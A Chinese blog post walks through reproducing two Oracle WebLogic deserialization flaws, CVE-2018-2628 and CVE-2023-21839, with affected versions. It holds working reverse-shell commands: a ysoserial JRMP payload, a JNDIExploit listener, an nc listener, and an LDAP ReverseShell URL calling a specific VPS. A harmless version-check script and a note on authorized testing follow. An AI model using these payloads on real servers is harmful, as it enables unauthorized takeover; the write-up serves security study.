WebLogic漏洞复现

本文详细描述了OracleWebLogicServer中的两个安全漏洞,CVE-2018-2628和CVE-2023-21839,涉及反序列化远程代码执行(RCE)。文章介绍了漏洞原理、受影响的版本以及复现漏洞的过程,包括使用特定工具如WeblogicTool和ysoserial进行攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Oracle WebLogic Server是美国甲骨文(Oracle)公司的一款适用于云环境和传统环境的应用服务器,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。

# CVE-2018-2628(反序列化、RCE)

# 介绍

WLS Core是其中的一个核心组件。攻击者利用其他rmi绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议数据,就可以获取目标服务器的权限。

影响版本:

  • Weblogic 10.3.6.0
  • Weblogic 12.1.3.0
  • Weblogic 12.2.1.2
  • Weblogic 12.2.1.3

# 漏洞复现

目标:http://139.159.221.73:37058/

工具:WeblogicTool 、ysoserial、vps服务器

  • 检测漏洞是否存在:

  • 漏洞存在!在vps上下载ysoserial.jar,启用JRMP
  • 开启监听端口。

由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,所以我们使用base64的反弹shell形式:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 39170 CommonsCollections1 'bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}'

同时nc监听:

JRMP攻击:

成功反弹shell,复现完毕。

# CVE-2023-21839(反序列化、RCE)

# 介绍

WebLogic 存在远程代码执行漏洞(CVE-2023-21839/CNVD-2023-04389),由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。

影响版本:

  • 12.2.1.2.0
  • 12.2.1.1.0
  • 12.2.1.3.0
  • 12.2.1.0.0
  • 12.2.1.4.0
  • 14.1.1.0.0
  • 12.1.2.0.0
  • 12.1.3.0.0
  • 10.3.6.0

# 漏洞复现

目标:http://10.128.6.148:7001

工具:WeblogicTool、JNDIExploit、vps服务器

版本:10.3.6.0

  • 漏洞检测

  • 漏洞存在,VPS开启JNDI监听,同时nc监听反弹shell端口
java -jar JNDIExploit-2.0-SNAPSHOT.jar -i 139.159.221.73 -p 9090
nc -lvnp 7777

  • 使用WeblogicTool向ldap服务发送反弹shell的exp:
ldap://139.159.221.73:1389/Basic/ReverseShell/139.159.221.73/7777

  • 反弹shell成功:

### 关于WebLogic最新漏洞详情 针对WebLogic服务器的安全研究持续更新,最新的安全扫描服务能够检测已知的安全漏洞[^1]。然而,具体的WebLogic漏洞细节通常由专业的安全公告发布,并且会包含在诸如CVE(Common Vulnerabilities and Exposures)列表中。 对于获取最新的WebLogic漏洞信息,建议定期访问官方渠道如Oracle官方网站发布的安全警报和技术文档来了解最新的漏洞情况和修复方案。此外,一些开源平台也会提供关于这些漏洞的技术讨论和支持社区可以作为辅助资源。 需要注意的是,在合法授权范围内进行测试非常重要;未经授权对任何系统执行攻击性操作都是违法行为。因此,在学习或验证某个特定漏洞时,请务必确保拥有适当权限并遵循道德准则。 为了帮助理解如何负责任地处理此类信息安全问题,下面是一个假设性的Python脚本例子用于展示基本概念而非实际利用方法: ```python import requests def check_weblogic_version(target_url): try: response = requests.get(f"{target_url}/console/login/LoginForm.jsp", timeout=5) if "WebLogic Server Version" in response.text: version_info = response.text.split('WebLogic Server Version')[1].split('<')[0].strip() print(f"[+] Detected WebLogic Version: {version_info}") else: print("[-] Could not detect WebLogic server version.") except Exception as e: print(f"Error occurred while checking WebLogic version: {e}") if __name__ == "__main__": target = input("[*] Enter Target URL (with http/https): ") check_weblogic_version(target) ``` 此代码仅用于教育目的,展示了如何通过HTTP请求尝试识别目标站点上运行的WebLogic版本号。这有助于管理员确认其环境中的软件状态以便及时应用补丁程序。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值